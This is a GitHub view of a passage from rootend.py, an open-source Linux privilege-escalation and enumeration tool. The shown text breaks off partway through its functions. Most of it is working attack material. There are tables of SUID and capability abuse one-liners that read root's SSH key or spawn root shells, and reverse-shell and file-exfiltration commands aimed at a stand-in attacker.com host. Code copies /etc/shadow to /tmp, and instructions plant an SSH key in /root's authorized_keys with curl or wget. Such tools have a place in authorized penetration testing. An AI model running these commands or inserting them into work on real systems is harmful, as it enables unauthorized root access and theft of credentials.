-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathrootend.py
1750 lines (1347 loc) · 67.9 KB
/
rootend.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python
#Modules area
from __future__ import print_function
from datetime import datetime
from sys import exit,argv
from subprocess import call
import os
import getpass
import socket
import platform
import argparse
import textwrap
import csv
import shutil
import pwd
import grp
"""
rootend - A *nix Enumerator & Auto Privilege Escalation tool.
This file is part of rootend Project
Written by: @nickvourd
Website: https://www.twelvesec.com/
GIT: https://github.com/twelvesec/rootend/
TwelveSec (@Twelvesec)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
For more see the file 'LICENSE' for copying permission.
"""
#variables area
__author__ = "@nickvourd"
__version__ = "2.0.3"
__license__ = "GPLv3"
__team__ = "@twelvesec"
__systems__ = "*nix"
#lists & arrays area
__thanks__ = [ '@maldevel', 'servo' ]
defaults = [ "arping", "at", "bwrap", "chfn", "chrome-sandbox", "chsh", "dbus-daemon-launch-helper", "dmcrypt-get-device", "exim4", "fusermount", "gpasswd", "helper", "kismet_capture", "lxc-user-nic", "mount", "mount.cifs", "mount.ecryptfs_private", "mount.nfs", "newgidmap", "newgrp", "newuidmap", "ntfs-3g", "passwd", "ping", "ping6", "pkexec", "polkit-agent-helper-1", "pppd", "snap-confine", "ssh-keysign", "su", "sudo", "traceroute6.iputils", "ubuntu-core-launcher", "umount", "VBoxHeadless", "VBoxNetAdpCtl", "VBoxNetDHCP", "VBoxNetNAT", "VBoxSDL", "VBoxVolInfo", "VirtualBoxVM", "vmware-authd", "vmware-user-suid-wrapper", "vmware-vmx", "vmware-vmx-debug", "vmware-vmx-stats", "Xorg.wrap" ]
suid_for_read = { 'arp': '-> arp -v -f "/root/.ssh/id_rsa"', 'base32': '-> base32 "/root/.ssh/id_rsa" | base32 --decode', 'base64': '-> base64 "/root/.ssh/id_rsa" | base64 --decode', 'cat': '-> cat /root/.ssh/id_rsa', 'cut': '-> cut -d "" -f1 "/root/.ssh/id_rsa"', 'date': '-> date -f "/root/.ssh/id_rsa"', 'dd': '-> dd if="/root/.ssh/id_rsa"', 'dialog': '-> dialog --textbox "/root/.ssh/id_rsa" 0 0', 'diff': '-> diff --line-format=%L /dev/null "/root/.ssh/id_rsa"', 'eqn': '-> eqn "/root/.ssh/id_rsa"', 'expand': '-> expand "/root/.ssh/id_rsa"', 'file': '-> file -f "/root/.ssh/id_rsa"', 'fmt': '-> fmt -999 "/root/.ssh/id_rsa"', 'fold': '-> fold -w99999999 "/root/.ssh/id_rsa"', 'grep': '-> grep "" "/root/.ssh/id_rsa"', 'hd': '-> hd "/root/.ssh/id_rsa"', 'head': '-> head -c1G "/root/.ssh/id_rsa"', 'hexdump': '-> hexdump -C "/root/.ssh/id_rsa"', 'highlight': '-> highlight --no-doc --failsafe "/root/.ssh/id_rsa"', 'iconv': '-> iconv -f 8859_1 -t 8859_1 "/root/.ssh/id_rsa"', 'ip': '-> ip -force -batch "/root/.ssh/id_rsa"', 'jq': '-> jq -Rr . "/root/.ssh/id_rsa"', 'ksshell': '-> ksshell -i "/root/.ssh/id_rsa"', 'less': '-> less "/root/.ssh/id_rsa"', 'look': '-> look "" "/root/.ssh/id_rsa"', 'lwp-request': '-> lwp-request "file://root/.ssh/id_rsa"', 'more': '-> more "/root/.ssh/id_rsa"', 'nl': '-> nl -bn -w1 -s "" "/root/.ssh/id_rsa"', 'od': '-> od -An -c -w9999 "/root/.ssh/id_rsa"', 'pg': '-> pg "/root/.ssh/id_rsa"', 'sed': '-> sed "" "/root/.ssh/id_rsa"', 'soelim': '-> soelim "/root/.ssh/id_rsa"', 'sort': '-> sort -m "/root/.ssh/id_rsa"', 'x86_64-linux-gnu-strings': '-> strings "/root/.ssh/id_rsa"', 'sysctl': '-> sysctl -n "/../../root/.ssh/id_rsa"', 'tac': '-> tac -s "RANDOM" "/root/.ssh/id_rsa"', 'tail': '-> tail -c1G "/root/.ssh/id_rsa"', 'ul': '-> ul "/root/.ssh/id_rsa"', 'unexpand': '-> unexpand -t99999999 "/root/.ssh/id_rsa"', 'uniq': '-> uniq "/root/.ssh/id_rsa"', 'uuencode': '-> uuencode "/root/.ssh/id_rsa" /dev/stdout | uudecode', 'uudecode': '-> uuencode "/root/.ssh/id_rsa" /dev/stdout | uudecode', 'xxd': '-> xxd "/root/.ssh/id_rsa" | xxd -r', 'xz': '-> xz -c "/root/.ssh/id_rsa" | xz -d', 'zsoelim': '-> zsoelim "/root/.ssh/id_rsa"'}
suid_manual = { 'aria2c': '-> COMMAND=\'id\'\n-> TF=$(mktemp)\n-> echo "$COMMAND" > $TF\n-> chmod +x $TF\n\n-> aria2c --on-download-error=$TF http://x', 'restic': '-> RHOST=attacker.com\n-> RPORT=12345\n-> LFILE=file_or_dir_to_get\n-> NAME=backup_name\n\n-> restic backup -r "rest:http://$RHOST:$RPORT/$NAME" "$LFILE"', 'shuf': '-> LFILE=file_to_write\n\n-> shuf -e DATA -o "$LFILE"\n', 'tee': '-> LFILE=file_to_write\n\n-> echo DATA | ./tee -a "$LFILE"'}
suid_manual2 = { 'busybox': '-> busybox sh', 'rpm': '-> rpm --eval \'%{lua:os.execute("/bin/sh", "-p")}\'', 'rsync': '-> rsync -e \'sh -p -c "sh 0<&2 1>&2"\' 127.0.0.1:/dev/null', 'systemctl': '-> TF=$(mktemp).service\n-> echo \'[Service]\nType=oneshot\nExecStart=/bin/sh -c "id > /tmp/output"\n[Install]\nWantedBy=multi-user.target\' > $TF\n\n-> systemctl link $TF\n\n-> systemctl enable --now $TF', 'dmsetup': "-> dmsetup create base <<EOF\n0 3534848 linear /dev/loop0 94208\nEOF\n\n-> dmsetup ls --exec '/bin/sh -p -s'", 'emacs-gtk': '-> emacs -Q -nw --eval \'(term "/bin/sh -p")\'', 'gimp-2.10': '-> gimp -idf --batch-interpreter=python-fu-eval -b \'import os; os.execl("/bin/sh", "sh", "-p")\'', 'gtester': '-> TF=$(mktemp)\n-> echo \'#!/bin/sh -p\' > $TF\n-> echo \'exec /bin/sh -p 0<&1\' >> $TF\n-> chmod +x $TF\n\n-> gtester -q $TF', 'make': '-> make -s --eval=$\'x:\\n\\t-\'"/bin/sh -p"', 'nano': '-> nano\n^R^X\nreset; sh 1>&0 2>&0', 'openssl': '-> openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\n\n-> openssl s_server -quiet -key key.pem -cert cert.pem -port 12345\n', 'perl': '-> perl -e \'exec "/bin/sh";\'', 'pico': '-> pico\n^R^X\nreset; sh 1>&0 2>&0', 'tftp': '-> RHOST=attacker.com\n\n-> tftp $RHOST\n-> put file_to_send', 'vim.basic': '-> vim -c \':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")\'', 'watch': '-> watch -x sh -c \'reset; exec sh 1>&0 2>&0\'', }
suid_manual3 = { 'bash': '-> bash -p', 'chroot': '-> chroot / /bin/sh -p', 'bsd-csh': '-> bsd-csh -b', 'dash': '-> dash -p', 'docker': '-> docker run -v /:/mnt --rm -it alpine chroot /mnt sh', 'env': '-> env /bin/sh -p', 'expect':'-> expect -c "spawn /bin/sh -p;interact"', 'find': '-> find . -exec /bin/sh -p \\; -quit', 'flock': '-> flock -u / /bin/sh -p', 'gdb': '-> gdb -q -nx -ex \'python import os; os.execl("/bin/sh", "sh", "-p")\' -ex quit', 'ionice':'-> ionice /bin/sh -p', 'ksh2020':'-> ksh -p', 'ld.so':'-> ld.so /bin/sh -p', 'logsave': '-> logsave /dev/null /bin/sh -i -p', 'nice': '-> nice /bin/sh -p', 'node':'-> node -e \'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]});\'', 'nohup': '-> nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"', 'php7.4': '-> php -r "pcntl_exec(\'/bin/sh\', [\'-p\']);"', 'python2.7': '-> python -c \'import os; os.execl("/bin/sh", "sh", "-p")\'', 'python3.8': '-> python3 -c \'import os; os.execl("/bin/sh", "sh", "-p")\'', 'rlwrap':'-> rlwrap -H /dev/null /bin/sh -p', 'run-part': '-> run-parts --new-session --regex \'^sh$\' /bin --arg=\'-p\'', 'setarch': '-> setarch $(arch) /bin/sh -p', 'start-stop-daemon': '-> start-stop-daemon --start -n $RANDOM -S -x /bin/sh -- -p', 'stdbuf': '-> stdbuf -i0 /bin/sh -p', 'strace': '-> strace -o /dev/null /bin/sh -p', 'taskset': '-> taskset 1 /bin/sh -p', 'time': '-> time /bin/sh -p', 'timeout': '-> timeout 7s /bin/sh -p', 'unshare': '-> unshare -r /bin/sh', 'xargs': '-> xargs -a /dev/null sh -p', 'zsh': '-> zsh' }
suid_mody = [ "cp", "mv" ]
suid_mody2 = [ "chmod", "chown" ]
suid_download = [ "curl", "wget", "lwp-download" ]
suid_lim = { 'awk': '-> awk \'BEGIN {system("/bin/sh")}\'', 'byebug': '-> TF=$(mktemp)\n -> echo \'system("/bin/sh")\' > $TF\n\n-> byebug $TF\n-> continue','ed': '-> ed\n!/bin/sh', 'gawk': '-> gawk \'BEGIN {system("/bin/sh")}\'', 'git': '-> PAGER=\'sh -c "exec sh 0<&1"\' ./git -p help', 'iftop': '-> iftop\n!/bin/sh', 'ldconfig': '-> TF=$(mktemp -d)\n-> echo "$TF" > "$TF/conf"\n\n-> ldconfig -f "$TF/conf"', 'lua': '-> lua -e \'os.execute("/bin/sh")\'', 'mawk': '-> mawk \'BEGIN {system("/bin/sh")}\'', 'mysql': "-> mysql -e '\\! /bin/sh'", 'nawk': '-> nawk \'BEGIN {system("/bin/sh")}\'', 'nc': '-> RHOST=attacker.com\n-> RPORT=12345\n\n-> nc -e /bin/sh $RHOST $RPORT', 'nmap': '-> TF=$(mktemp)\n-> echo \'os.execute("/bin/sh")\' > $TF\n\n-> nmap --script=$TF', 'pic': '-> pic -U\n.PS\nsh X sh X', 'pry': '-> pry\nsystem("/bin/sh")', 'rvim': '-> rvim -c \':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")\'', 'scp': '-> TF=$(mktemp)\n-> echo \'sh 0<&2 1>&2\' > $TF\n-> chmod +x "$TF"\n\n-> scp -S $TF a b:', 'socat': '-> RHOST=attacker.com\n-> RPORT=12345\n\n-> socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane', 'sqlite3': "-> sqlite3 /dev/null '.shell /bin/sh'", 'tar': '-> tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh', 'telnet': '-> RHOST=attacker.com\n-> RPORT=12345\n\n-> telnet $RHOST $RPORT\n^]\n!/bin/sh', 'zip': "-> TF=$(mktemp -u)\n\n-> zip $TF /etc/hosts -T -TT 'sh #'\n-> sudo rm $TF" }
suid_exec = [ "bash", "chroot", "bsd-csh", "dash", "docker", "env", "expect", "find", "flock", "gdb", "ionice", "ksh2020", "ld.so", "logsave", "nice", "node", "nohup", "php7.4", "python2.7", "python3.8", "rlwrap", "run-parts", "setarch", "start-stop-daemon", "stdbuf", "strace", "taskset", "time", "timeout", "unshare", "xargs", "zsh" ]
php_files = [ "wp-config.php", "config.php", "connect.php", "wp-config.php", "configuration.php", "settings.php", "database.php", "db.php", "db_conn.php", "wp-config-sample.php" ]
php_files2 = []
redis_lines = []
capa_default = [ "mtr-packet", "gnome-keyring-daemon", "ping", "fping", "traceroute6.iputils", "gst-ptp-helper" ]
capa_exec = { "gdb": "-> gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit\n", "node":"-> node -e 'process.setuid(0); require('child_process').spawn('/bin/sh', {stdio: [0, 1, 2]});'\n", "perl":"-> perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec '/bin/sh';'\n", "php":"-> php -r 'posix_setuid(0); system('/bin/sh');\n", "ruby":"-> ruby -e 'Process::Sys.setuid(0); exec '/bin/sh''\n" }
write_array = []
#ascii art
message = '''
___________ .__ _________
\__ ___/_ _ __ ____ | |___ __ ____ / _____/ ____ ____
| | \ \/ \/ // __ \| |\ \/ // __ \ \_____ \_/ __ \_/ ___\
| | \ /\ ___/| |_\ /\ ___/ / \ ___/\ \___
|____| \/\_/ \___ >____/\_/ \___ >_______ /\___ >\___ >
\/ \/ \/ \/ \/
rootend v.{} - Enumeration & Automation Privilege Escalation tool.
rootend is an open source tool licensed under {}.
Affected systems: {}.
Written by: {} of {}.
Special thanks to {} & {}.
https://www.twelvesec.com/
Please visit https://github.com/twelvesec/rootend for more..
'''.format(__version__, __license__, __systems__, __author__, __team__, __thanks__[0], __thanks__[1])
#classes area
class Bcolors:
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
ORANGE = '\033[33m'
class Nocolors:
OKBLUE = '\033[37m'
OKGREEN = '\033[37m'
WARNING = '\033[37m'
FAIL = '\033[37m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
ORANGE = '\033[37m'
class User:
def __init__(self):
self.name = getpass.getuser()
try:
from pathlib import Path
self.home = str(Path.home())
except:
self.home = os.path.expanduser("~")
self.user = os.geteuid()
self.group = os.getegid()
self.real = os.getgid()
self.list = os.getgroups()
self.shell = os.environ['SHELL']
class Victim:
def __init__(self):
self.host = socket.gethostname()
try:
self.distro = platform.linux_distribution()
except:
import distro
self.distro = distro.linux_distribution()
self.arch = platform.architecture()[0]
self.pross = platform.processor()
self.kernel = platform.release()
#functions area
#argements function
def arguments(argv):
#sets args menu
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent('''\
usage examples:
./rootend.py -a
./rootend.py -m
./rootend.py -v
./rootend.py -b
Specific categories usage examples:
./rootend.py -a -s
./rootend.py -m -w
./rootend.py -a -s -p
./rootend.py -m -w -c -p
./rootend.py -a -s -c -p -f
*Use the above arguments with -n to disable color.
'''))
parser.add_argument("-v", "--version", action='store_true', dest='version', help="show version and exit")
parser.add_argument("-a", "--auto", action='store_true', dest='auto', help="automated privilege escalation process")
parser.add_argument("-m", "--manual", action='store_true', dest='manual', help="system enumeration")
parser.add_argument("-n", "--nocolor", action='store_true', dest='color', help="disable color")
parser.add_argument("-b", "--banner", action='store_true', dest='banner', help="show banner and exit")
parser.add_argument("-s", "--suid", action='store_true', dest='suid', help="suid binary enumeration")
parser.add_argument("-w", "--weak", action='store_true', dest='weak', help="weak permissions of files enumeration")
parser.add_argument("-p", "--php", action='store_true', dest='php', help="PHP configuration files enumeration")
#parser.add_argument("-k", "--kernel", action='store_true', dest='kernel', help="Kernel exploits suggestion")
parser.add_argument("-c", "--capabilities", action='store_true', dest='capa', help="capabilities enumeration")
parser.add_argument("-f", "--full-writables", action='store_true', dest='full', help="world writable files enumeration")
#parser.add_argument("-d", "--containers", action='store_true', dest='container', help="containers enumeration")
args = parser.parse_args()
#check the number of arguments
if len(argv) == 1:
print(message)
parser.print_help()
exit()
return args
#check_4_args function
def check_4_args(args):
arg_flag = "nothing"
if args.version and not args.manual:
if args.version and not args.auto:
if args.version and not args.banner:
if args.version and not args.suid:
if args.version and not args.weak:
if args.version and not args.php:
if args.version and not args.capa:
if args.version and not args.full:
arg_flag = "version"
elif args.manual and not args.version:
if args.manual and not args.auto:
if args.manual and not args.banner:
arg_flag = "manual"
elif args.auto and not args.version:
if args.auto and not args.manual:
if args.auto and not args.banner:
arg_flag = "auto"
elif args.banner and not args.version:
if args.banner and not args.auto:
if args.banner and not args.manual:
if args.banner and not args.suid:
if args.banner and not args.weak:
if args.banner and not args.php:
if args.banner and not args.capa:
if args.banner and not args.full:
arg_flag = "banner"
return arg_flag
#check_4_args2 function
def check_4_args2(args, argv):
arg_flag = "nothing"
if len(argv) == 2:
if args.auto or args.manual:
arg_flag = "all"
elif len(argv) == 3:
if (args.auto and args.color) or (args.manual and args.color):
arg_flag = "all"
return arg_flag
#test_date function
def test_date():
now = datetime.now()
dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
return dt_string
#find_whoami function
def find_whoami(user, user_id, group_id, real_id, other_groups, home, shell, bold, blue, warning, fail, endc):
print(bold + blue + '[+] User:\n\n' + endc + user + '\n\n')
if user != "root":
print(bold + blue + '[+] ' + user + ' Details:\n' + endc)
print(warning + 'User id: ' + endc + str(user_id) + warning + '\nGroup id: ' + endc + str(group_id) + warning + '\nReal id: ' + endc + str(real_id) + '\n' + warning + 'Supplemental groups: ' + endc + str(other_groups))
print(warning + 'Home directory: ' + endc + home)
print(warning + 'Type of shell: ' + endc + shell + '\n')
else:
print(bold + blue + '[+] ' + user + ' Details:\n' + endc)
call(["id"])
print('\n')
print( bold + fail + '[!] You are already root!' + endc + '\n')
exit()
#find_victim function
def find_victim(bold, blue, warning, endc, host, distro, kernel, pross, arch):
print(bold + blue + '\n[+] Victim:\n\n' + endc + host + '\n\n')
print(bold + blue + '[+] ' + host + ' Details:\n' + endc)
print(warning + 'Distribution: ' + endc + distro[0])
print(warning + 'Version: ' + endc + distro[1])
print(warning + 'Nickname: ' + endc + distro[2])
print(warning + 'Kernel Version: ' + endc + kernel)
print(warning + 'Processor: ' + endc + pross)
print(warning + 'Architecture: ' + endc + arch + '\n')
#ip_msg function
def ip_msg(bold, blue, warning, endc):
print(bold + blue + "[+] Advice:\n" + endc)
print(bold + warning + "-> The following example only works for Linux with CONFIG_NET_NS=y and you can take root's privileges.\n" + endc)
print(bold + blue + "[*] Example:\n" + endc)
print(bold + "-> ip netns add foo\n" + endc)
print(bold + "-> ip netns exec foo /bin/sh -p\n" + endc)
print(bold + "-> ip netns delete foo\n\n" + endc)
#root_msg function
def root_msg(bold, green, endc):
print(bold + green + "[!] Shell Opened! You are root now! :)\n" + endc)
#important_msg function
def important_msg(bold, blue, warning, endc):
print(bold + blue + "[+] Advice:\n" + endc)
print(bold + warning + "-> Run the following command and read files from root!\n" + endc)
print(bold + blue + "[*] Example:\n" + endc)
#important_msg2 function
def important_msg2(bold, blue, warning, endc):
print(bold + blue + "[+] Advice:\n" + endc)
print(bold + warning + "-> Follow the below example and create files with root's permissions/ownership!\n" + endc)
print(bold + blue + "[*] Example:\n" + endc)
#important_msg3 function
def important_msg3(bold, blue, warning, endc):
print(bold + blue + "[+] Advice:\n" + endc)
print(bold + warning + "-> Maybe not sure, you can try to follow the below example and take root's privileges!\n" + endc)
print(bold + blue + "[*] Example:\n" + endc)
#important_msg5 function
def important_msg5(bold, blue, warning, endc):
print(bold + blue + "[+] Advice:\n" + endc)
print(bold + warning + "-> If capability setted CAP_SETUID, you can use the following example...\n" + endc)
print(bold + blue + "[!] Example:\n" + endc)
#important_msg6 function
def important_msg6(bold, green, blue, fail, warning, endc):
print(bold + blue + "[+] Advice:\n" + endc)
print(bold + warning + "-> Visit the below link and find the exploit!\n" + endc)
print(bold + blue + "[*] Link:\n" + endc)
#important_msg7 function
def important_msg7(bold, blue, warning, endc):
print(bold + blue + "[!] Advice:\n" +endc)
print(bold + warning + "-> Maybe, Not Sure! Use the following capability example and take root's privileges\n" + endc)
print(bold + blue + "[!] Example:\n" + endc)
#banner_msg function
def banner_msg(filename, bold, green, endc):
print(bold + green + "[!] Found weak permissions of {} file".format(filename) + endc + '\n')
#banner_msg2 function
def banner_msg2(filename, bold, green, endc):
print(bold + green + "[!] Found ownership misconfiguration of {} file".format(filename) + endc + '\n')
#banner_msg3 function
def banner_msg3(filename, bold, green, endc):
print(bold + green + "[!] Found group misconfiguration of {} file".format(filename) + endc + '\n')
#banner_msg4 function
def banner_msg4(filename, bold, warning, endc):
print(bold + warning + "[!] Access in " + filename + '\n' + endc)
#banner_msg5 function
def banner_msg5(filename, bold, green, endc):
print(bold + green + "\n[!] Found php configuration file:\n\n" + endc + filename + "\n")
#banner_msg6 function
def banner_msg6(filename, bold, green, endc):
print(bold + green + "[!] Found weak permissions of {} directory\n".format(filename) + endc)
#banner_msg7 funtion
def banner_msg7(filename, flag, bold, blue, warning, endc, orange):
print(bold + blue + "[+] Advice:\n" + endc)
print(bold + warning + "-> Read the {} file and try to crack any hash in order to take root's privileges!\n".format(filename) + endc)
if flag == "manual":
print(bold + blue + "[*] Example:\n" + endc)
else:
if filename == "/etc/shadow":
#call function named copy_shadow
copy_shadow(filename, bold, blue, warning, endc, orange)
#banner_msg8 function
def banner_msg8(filename, bold, green, endc):
print(bold + green + "[!] Found ownership misconfiguration of {} directory".format(filename) + endc + '\n')
#banner_msg9 function
def banner_msg9(filename, bold, green, endc):
print(bold + green + "[!] Found group misconfiguration of {} directory".format(filename) + endc + '\n')
#banner_msg10 function
def banner_msg10(filename, bold, blue, warning, endc):
print(bold + blue + "[+] Advice:\n" + endc)
print(bold + warning + "-> Maybe not Sure, Visit the below link and edit {} file in order to take root's privileges\n" + endc)
print(bold + blue + "[~] Link:\n" + endc)
#copy_shadow function
def copy_shadow(filename, bold, blue, warning, endc, orange):
shutil.copyfile('/etc/shadow', '/tmp/shadow')
filename2 = "/tmp/shadow"
print(bold + orange + "[!] {} file copied to {}\n".format(filename, filename2) + endc)
print(bold + "-> cat /tmp/shadow\n" + endc)
#readelf_msg function
def readelf_msg(bold, blue, warning, endc):
print(bold + blue + "[*] Important Notice:\n" + endc)
print(bold + warning + "-> readelf is a tool which displays information about elf files! You can use it only for elf files...\n" + endc)
#job_finish function
def job_finish(flag, bold, blue, green, endc):
if flag == "auto":
color = green
else:
color = blue
print(bold + color + '[!] Scanning finished...' + endc)
exit()
#exim_priv_esc function
def exim_priv_esc(bold, green, blue, fail, warning, endc):
#call function named important_msg6
important_msg6(bold, green, blue, fail, warning, endc)
print(bold + warning + '-> https://www.exploit-db.com/exploits/46996\n\n' + endc)
#curl_path function
def curl_path(bold, blue, warning, endc):
print(bold + warning + "-> Create a rsa keys to your local machines:" + endc)
print(" ssh-keygen -t rsa\n")
print(bold + warning + "-> Open a web server in the same directory of rsa keys like:" + endc)
print(" python3 -m http.server 8080\n")
print(bold + warning + "-> Use curl to download keys into /root:" + endc)
print(" curl -o /root/.ssh/authorized_keys http://<your_ip>:<your_port>/id_rsa.pub\n")
print(bold + warning + "-> Try to connect to victim's machine with your id_rsa private key:" + endc)
print(" ssh root@<victim's_ip> -i id_rsa\n\n")
#wget_path function
def wget_path(bold, blue, warning, endc):
print(bold + warning + "-> Create a rsa keys to your local machines:" + endc)
print(" ssh-keygen -t rsa\n")
print(bold + warning + "-> Open a web server in the same directory of rsa keys like:" + endc)
print(" python3 -m http.server 8080\n")
print(bold + warning + "-> Use wget to download keys into /root:" + endc)
print(" wget -O /root/.ssh/authorized_keys http://<your_ip>:<your_port>/id_rsa.pub\n")
print(bold + warning + "-> Try to connect to victim's machine with your id_rsa private key:" + endc)
print(" ssh root@<victim's_ip> -i id_rsa\n\n")
#lwp_path function
def lwp_path(bold, blue, warning, endc):
print(bold + warning + "-> Create a rsa keys to your local machines:" + endc)
print(" ssh-keygen -t rsa\n")
print(bold + warning + "-> Open a web server in the same directory of rsa keys like:" + endc)
print(" python3 -m http.server 8080\n")
print(bold + warning + "-> Use lwp-download to download keys into /root:" + endc)
print(" lwp-download http://<your_ip>:<your_port>/id_rsa.pub /root/.ssh/authorized_keys\n")
print(bold + warning + "-> Try to connect to victim's machine with your id_rsa private key:" + endc)
print(" ssh root@<victim's_ip> -i id_rsa\n\n")
#curl_priv_esc function
def curl_priv_esc(bold, blue, warning, endc):
#call function named important_msg3
important_msg3(bold, blue, warning, endc)
#call function named curl_path
curl_path(bold, blue, warning, endc)
#wget_priv_esc function
def wget_priv_esc(bold, blue, warning, endc):
#call function named important_msg3
important_msg3(bold, blue, warning, endc)
#call function named wget_path
wget_path(bold, blue, warning, endc)
#lwp_download_priv_esc function
def lwp_downlaod_priv_esc(bold, blue, warning, endc):
#call function named important_msg3
important_msg3(bold, blue, warning, endc)
#call function named lwp_path
lwp_path(bold, blue, warning, endc)
#rake_priv_esc function
def rake_priv_esc(bold, blue, warning, endc):
#call function named important_msg3
important_msg3(bold, blue, warning, endc)
command = '''-> rake -p '`/bin/sh 1>&0`'
'''
print(command + '\n')
#readelf_priv_esc function
def readelf_priv_esc(bold, blue, warning, endc):
#call function named readlef_msg
readelf_msg(bold, blue, warning, endc)
print(bold + blue + "[*] Example:\n" + endc)
print('-> lfile=file_to_read\n')
print('-> readelf -a @$lfile\n\n')
#bash_priv_esc function
def bash_priv_esc():
call(["bash","-p"])
#chroot_priv_esc function
def chroot_priv_esc():
call(["chroot","/","/bin/sh","-p"])
#csh_priv_esc function
def csh_priv_esc():
call(["csh","-b"])
#dash_priv_esc function
def dash_priv_esc():
call(["dash","-p"])
#docker_priv_esc functionn
def docker_priv_esc():
call(["docker","run","-v","/:/mnt","--rm","-it","alpine","chroot","/mnt","sh"])
#env_priv_esc function
def env_priv_esc():
call(["env","/bin/sh","-p"])
#expect_priv_esc function
def expect_priv_esc():
os.system('expect -c "spawn /bin/sh -p;interact"')
#find_priv_esc function
def find_priv_esc():
os.system('find . -exec /bin/sh -p \; -quit')
#flock_priv_esc function
def flock_priv_esc():
call(["flock","-u","/","/bin/sh","-p"])
#gdb_priv_esc function
def gdb_priv_esc():
command = '''
gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
'''
os.system(command)
#ionice_priv_esc function
def ionice_priv_esc():
call(["ionice","/bin/sh","-p"])
#ksh_priv_esc function
def ksh_priv_esc():
